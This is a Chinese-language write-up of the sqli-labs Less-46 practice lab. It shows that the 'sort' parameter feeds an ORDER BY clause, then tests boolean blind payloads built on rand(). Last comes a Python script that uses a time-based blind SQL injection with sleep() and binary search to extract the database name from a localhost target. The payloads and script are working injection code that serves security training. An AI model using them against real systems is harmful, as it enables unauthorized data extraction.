我们直接可以从界面中得知传参的参数为SORT

查看源码

我们令参数即sort为1尝试输入：即 ?sort=1

令参数即sort为2

看到按照字母顺序进行了排序，所以使用了order by语句。

用 rand()盲注 这里首先假设给true以及false两个来观察回显

?sort=rand(true)

?sort=rand(false)

看到给的值为真以及假是不一样的，所以我们可以构造出一个布尔盲注或者延时盲注

?sort=rand(ascii(mid((select database()),1,1))>114)

用py脚本进行盲注

代码如下

import requests
import time


def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
        	# 构造时间盲注
            payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
            params = {"sort": payload}
            start_time = time.time()
            try:
                r = requests.get(url, params=params, timeout=20)
            except requests.Timeout:
                print("Request timed out.")
                continue
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)


if __name__ == "__main__":
    url = 'http://127.0.0.1/sqllabs/Less-46/index.php'
    inject_database(url)

这里我们可以看到使用脚本代码爆出了数据库名